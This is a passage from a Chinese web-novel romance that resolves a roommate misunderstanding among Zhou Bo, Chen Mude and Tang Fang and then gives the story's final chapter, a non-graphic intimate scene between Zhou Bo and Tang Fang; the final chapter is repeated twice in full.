周勃能怎么样? 他本来就没想过要把陈牧德赶走,从小农村长大的孩子,都有个特点,自觉占了别人便宜,总想着用其他的弥补过来。 陈牧德时不时在家,热闹了些,有时候也会顺便给周山妹送饭,或者回来得早,就给家里做饭。 知道这是别人家,自己也开始爱干净了。 至少,周勃记忆里那根挥之不去的裤衩,印象终于淡了些。 陈牧德说的眼睛是眼睛,鼻子是鼻子,周勃没反驳他,只是在心头打了个问号。 他认识王伟杰,接触过一会儿,感觉人不会是这么偏激的人啊? 直觉告诉他,这里头一定有误会。 周勃不露声色,安安静静和和气气的吃完饭。 第二天,他去了趟工地。 大太阳天,火热的太阳将地面晒的滚烫。 之前给众人买冰棍的是唐放,现在唐放走了,人就成了王伟杰。 周勃见他给每个人递了根冰棍,除了陈牧德,因为他递了,陈牧德没接,相反,还离他远远的,像碰到瘟疫似的。 周勃看见王伟杰脸上的懵逼,显然没搞清楚陈牧德这家伙是干什么。 王伟杰也不生气,顺手就把陈牧德不要的冰棍撕开包装自己啃起来。 这真不是误会吗? 周勃心底满是狐疑。 答案在唐放和王伟杰的电话中得到解答。 王伟杰回去难得接到唐放的电话,大为震惊,还以为唐放把他们给忘了,不过这是开玩笑。 王伟杰先是寒暄了几句,然后说兄弟们的状况,都希望陈浪他们能够好。 唐放也知道,笑了下,随后问:“对了陈牧德呢?他怎么样?” 唐放不说还好,一说,王伟杰露出个奇怪的表情,“他出去住了。” “出去住了?” “对,”王伟杰说,“好像是去别人家住了。” 这个别人是谁唐放用脚趾头想都能猜出是谁,陈牧德在海城,除了周勃,还能认识谁? 唐放皱眉:“他怎么搬出来了?” 王伟杰这段时间也烦着呢,根本没怎么注意陈牧德,哪儿知道他怎么搬出来了,随口给了理由:“估计是不想这么多人一起住吧。” “我后边儿应该也会搬出去住了。” 唐放:“怎么了?” 王伟杰:“人太多了,虽然住着挺开心,但总归不方便。” 唐放说:“有什么不方便?”都是大男人,没有女人,他实在想不出有什么不方便的。 “我遇见周梅了。” “……” 王伟杰:“之前给小敏找房子租的时候碰见的,她和她弟弟来海城了,也在找房子租。” 唐放想了想王伟杰和周梅俩人的爱恨情仇,觉得牙开始疼:“所以呢?” “……” “你们又要复合了?还没忘?” 王伟杰捏着电话,仗着唐放在首都,大胆反问:“你能忘之前甩了你那姑娘?” “……” 王伟杰:“哪有那么容易忘,你要和那姑娘谈了,完了分手,你能忘掉你初恋?” 唐放:“……我们不会分手。” 王伟杰不管唐放说啥,自顾自的说:“我好几天晚上没睡着,之前没见面,后来见了,碰到了,满脑子里都是她以前对我的好,想睡都睡不着。” “嗯嗯。”唐放敷衍两句。 王伟杰:“她和我记忆里的一样……” 唐放听出了他将要开展的长篇大论,把电话往旁边一放,时不时嗯嗯两句就当是回答了,站在一旁发呆,想着陈牧德这家伙怎么搬到周勃家去住了? 周勃家就俩房间,不会和周勃睡一块吧? 越想,那医院的白色灯光越是晃眼,憋不住了,唐放把还在唧唧歪歪的王伟杰电话直接挂断,拨了周勃家的过去。 他原本也就是抽空出来,自然要合理使用时间。 很快,周勃家的电话接通了。 熟悉的声音传过来。 果然,真是陈牧德。 陈牧德睡客厅,自然是他先接到唐放的电话,大晚上的,还想着是谁,结果一接通,满是惊喜。 “放哥!你怎么打电话来了!” 唐放:“……” “周勃呢?他在你旁边?” 陈牧德没听出这话的微妙,高兴得像个傻子,“没啊!我睡客厅,周勃哥应该睡了吧!我把他叫起来?” “不用了,让他睡吧,”唐放语气微缓,随后问其他的:“你怎么搬出来了?” 一说起这个,陈牧德就是满脸心酸,他是真的怕了,开始和唐放说起了给周勃说过的话。 唐放听得脑子嗡嗡的,这明显就是误会,周勃不了解,他还不知道吗?刚才刚和人通过电话。 “……你等会儿,我去问问。”唐放撂下这句话,挂断电话,又给王伟杰拨了回去。 周勃没那么早睡,他睡得浅,几乎听到陈牧德接电话,就醒了。 这时候走出房门,就见陈牧德呆呆站在电话前杵着。 “怎么了?”周勃挑眉。 “放、放哥说,去问王伟杰。” 周勃:“那不挺好?” 陈牧德:“……可我担心王伟杰说谎,不承认。” 周勃:“……” 这担心属实有些多余,陈牧德就是胆子小,喜欢自己吓自己。 等待着唐放电话的过程异常漫长,陈牧德坐在沙发上抖腿。 周勃给他递过来半个橘子,他想也没想塞到口中。 下一秒,痛苦面具再现。 陈牧德喝了好几口水才压住那酸味:“这橘子怎么还有啊!” “楼下邻居又送了些上来。”周波淡淡道。 这酸橘子勉强冲淡陈牧德的紧张,分散他的注意,“周勃哥,你家楼下这邻居吃过这橘子吗?” 周勃:“不知道,你可以去问问。” 陈牧德:“……那还是算了吧。” 转念,陈牧德又问了个问题出来,带着暗戳戳的好奇,“周勃哥,你和放哥,你们……” “唔——” 又是一瓣酸橘子唰的一下塞进他的嘴里,陈牧德脸皱的苦巴巴,酸味在他口腔中蔓延,酸得他生理泪水都要出来了。 周勃没听清他说什么,笑着又问了一遍:“你说什么?” 陈牧德摆摆手,表示投降,一口将橘子吐了出来,觉得周勃哥有时候挺像个魔鬼的。 与此同时,座机又响了起来。 【正文完】 第71章 第 71 章 自家小姑这个关卡, 就被唐放给这么轻轻松松打破了。 周勃到现在还有点不可思议。 就连后来的陈牧德知道后也是一脸震惊。 这到底啥情况啊! 怎么一个转眼,世界就跟加速了一样啊! 周山妹后来也释然了,不管了,反正她百年之后也是他俩过日子, 又不是她, 侄子开心就成, 活在世上, 最重要的不也是开心吗? 唐放是最高兴的, 乐得当天就回了出租屋把那豹纹短裤给翻出来。 仗着赌赢了,豹纹短裤扔在床上,抱着手冲周勃点头示意。 高大的身影挡住光线, 碎发在脸上投出阴影, 一双丹凤眼尾上挑,勾勒出点调笑的意味。 就只是看着人, 那种带着点炽热的眼神,让人觉着自己仿佛在身处火堆旁, 心头一点点染上热度。 要不是人都睡着了, 进来看到这情形, 指不定以为是哪个店面的逼良为娼。 周勃摸摸鼻尖,有点不敢看和唐放对视。 他目光放在床上那豹纹短裤上。 “这可是说好的啊。”唐放意味深长的话语出现在周勃耳旁。 周勃淡定的拿起那条短裤, “我又没说会反悔。” 输了就是输了, 他又不是输不起的人。 这短裤当初本来就是按照唐放的尺寸做的, 颜色虽说有点不尽人意,穿在周勃身上松松垮垮, 看着却也还行。 只是, 这豹纹,怎么看怎么和周勃有点儿不符。 看着就像是好好学生某天烫了头抽上烟一般, 或者说,一个烫头抽烟打架的学生,私底下是个学霸? 反差感有了。 周勃摊开手,“怎么样?” 唐放盯着他那短裤,轻轻眯着眼,“……我觉着,你不穿可能更好看。” 周勃:“……” 笑了笑,周勃从角落里翻出件衣服,扔给唐放。 扒下脸上的衣服,唐放手上赫然出现的衣服也是条裤子,不知道周勃从哪儿买的,竟然也是条小豹纹。 唐放想了想:“……情侣装?” “穿吗?”周勃勉强无视了这个词。 总不能他一个人穿吧? 唐放毫不犹豫,“穿!” 有些人,天生就和“人靠衣装马靠鞍”唱反调,有的人靠衣服衬托,但有的人衬托衣服。 唐放就属于这种。 豹纹短裤穿在他身上,那骚包的颜色并没有让人觉得抢眼。 相反。 就冲着这人嚣张自信的脸和身材,简简单单一个表情,就足以让人产生疑惑。 原来豹纹,还挺好看的吗? 周勃自己也不自觉看了唐放许久,他咽咽口水,脑海中开始自动浮现欧美男模模样,脸是唐放的,然后对他露出那种带着诱惑的神情。 甩甩脑袋,周勃赶紧把画面抛到脑后。 “行了,都月兑了吧。”周勃轻咳两声,“反正都看过了。” 唐放没动,他就静静的看着周勃,笑眯眯的,看得周勃目光闪烁。 有时候,你真会发现,有的人比你自己还了解你,唐放好笑的指了指自己的脸示意周勃看。 周勃没看懂。 唐放又指了指。 周勃后知后觉,他手摸上脸颊,一抹滚烫贴着皮肤穿透掌心,直直烫到他心里。 “唰”的收回手,周勃清咳两声,快速月兑下豹纹短裤,关灯。 “时间也不早了,赶紧睡觉吧。” 周勃良久才听到人上床睡觉的声音,感觉身侧唐放躺下,他松了口气。 这气还没泄出去,一个滚烫的胸膛贝占在他后背,一双手牢牢将他拥进怀里。 力道之大,仿佛要将他整个人陷进身体里,贴着他耳畔的声音低沉而火勺热。 “周勃,帮我。” 周勃的身体僵住,那滚烫的胸膛,仿佛带着火热的热意,源源不断的从后背涌入他的体内。 连带着大脑也开始发热起来。 回想起上次舒缓,周勃这才后知后觉,这好像已经是很久之前的事了…… 忐忑的小船被汹涌的大海推搡,时而向前推进,在浪潮的高处时又被飞快拉回。 这是一场直到半夜的海水涌动,带着让人愉悦的欢喜。 到了最后,周勃已经没了力气说话,他的大脑因为汹涌澎湃的快乐迷糊成一团。 唐放做完最后的清理工作,终于心满意足的抱着人要睡觉了,睡觉之前他还在喋喋不休。 “周勃,我们什么时候结婚?” 周勃此时已经累的一点力气都没了,他敷衍道:“嗯嗯。” “我们今年结婚吧。” “嗯。” “那说好了,今年去国外。” “……嗯。” 唐放心满意足的闭上眼睛。 而属于他们的生活,才刚刚开始。 ——正文完 【正文完】 第71章 第 71 章 自家小姑这个关卡, 就被唐放给这么轻轻松松打破了。 周勃到现在还有点不可思议。 就连后来的陈牧德知道后也是一脸震惊。 这到底啥情况啊! 怎么一个转眼,世界就跟加速了一样啊! 周山妹后来也释然了,不管了,反正她百年之后也是他俩过日子, 又不是她, 侄子开心就成, 活在世上, 最重要的不也是开心吗? 唐放是最高兴的, 乐得当天就回了出租屋把那豹纹短裤给翻出来。 仗着赌赢了,豹纹短裤扔在床上,抱着手冲周勃点头示意。 高大的身影挡住光线, 碎发在脸上投出阴影, 一双丹凤眼尾上挑,勾勒出点调笑的意味。 就只是看着人, 那种带着点炽热的眼神,让人觉着自己仿佛在身处火堆旁, 心头一点点染上热度。 要不是人都睡着了, 进来看到这情形, 指不定以为是哪个店面的逼良为娼。 周勃摸摸鼻尖,有点不敢看和唐放对视。 他目光放在床上那豹纹短裤上。 “这可是说好的啊。”唐放意味深长的话语出现在周勃耳旁。 周勃淡定的拿起那条短裤, “我又没说会反悔。” 输了就是输了, 他又不是输不起的人。 这短裤当初本来就是按照唐放的尺寸做的, 颜色虽说有点不尽人意,穿在周勃身上松松垮垮, 看着却也还行。 只是, 这豹纹,怎么看怎么和周勃有点儿不符。 看着就像是好好学生某天烫了头抽上烟一般, 或者说,一个烫头抽烟打架的学生,私底下是个学霸? 反差感有了。 周勃摊开手,“怎么样?” 唐放盯着他那短裤,轻轻眯着眼,“……我觉着,你不穿可能更好看。” 周勃:“……” 笑了笑,周勃从角落里翻出件衣服,扔给唐放。 扒下脸上的衣服,唐放手上赫然出现的衣服也是条裤子,不知道周勃从哪儿买的,竟然也是条小豹纹。 唐放想了想:“……情侣装?” “穿吗?”周勃勉强无视了这个词。 总不能他一个人穿吧? 唐放毫不犹豫,“穿!” 有些人,天生就和“人靠衣装马靠鞍”唱反调,有的人靠衣服衬托,但有的人衬托衣服。 唐放就属于这种。 豹纹短裤穿在他身上,那骚包的颜色并没有让人觉得抢眼。 相反。 就冲着这人嚣张自信的脸和身材,简简单单一个表情,就足以让人产生疑惑。 原来豹纹,还挺好看的吗? 周勃自己也不自觉看了唐放许久,他咽咽口水,脑海中开始自动浮现欧美男模模样,脸是唐放的,然后对他露出那种带着诱惑的神情。 甩甩脑袋,周勃赶紧把画面抛到脑后。 “行了,都月兑了吧。”周勃轻咳两声,“反正都看过了。” 唐放没动,他就静静的看着周勃,笑眯眯的,看得周勃目光闪烁。 有时候,你真会发现,有的人比你自己还了解你,唐放好笑的指了指自己的脸示意周勃看。 周勃没看懂。 唐放又指了指。 周勃后知后觉,他手摸上脸颊,一抹滚烫贴着皮肤穿透掌心,直直烫到他心里。 “唰”的收回手,周勃清咳两声,快速月兑下豹纹短裤,关灯。 “时间也不早了,赶紧睡觉吧。” 周勃良久才听到人上床睡觉的声音,感觉身侧唐放躺下,他松了口气。 这气还没泄出去,一个滚烫的胸膛贝占在他后背,一双手牢牢将他拥进怀里。 力道之大,仿佛要将他整个人陷进身体里,贴着他耳畔的声音低沉而火勺热。 “周勃,帮我。” 周勃的身体僵住,那滚烫的胸膛,仿佛带着火热的热意,源源不断的从后背涌入他的体内。 连带着大脑也开始发热起来。 回想起上次舒缓,周勃这才后知后觉,这好像已经是很久之前的事了…… 忐忑的小船被汹涌的大海推搡,时而向前推进,在浪潮的高处时又被飞快拉回。 这是一场直到半夜的海水涌动,带着让人愉悦的欢喜。 到了最后,周勃已经没了力气说话,他的大脑因为汹涌澎湃的快乐迷糊成一团。 唐放做完最后的清理工作,终于心满意足的抱着人要睡觉了,睡觉之前他还在喋喋不休。 “周勃,我们什么时候结婚?” 周勃此时已经累的一点力气都没了,他敷衍道:“嗯嗯。” “我们今年结婚吧。” “嗯。” “那说好了,今年去国外。” “……嗯。” 唐放心满意足的闭上眼睛。 而属于他们的生活,才刚刚开始。 ——正文完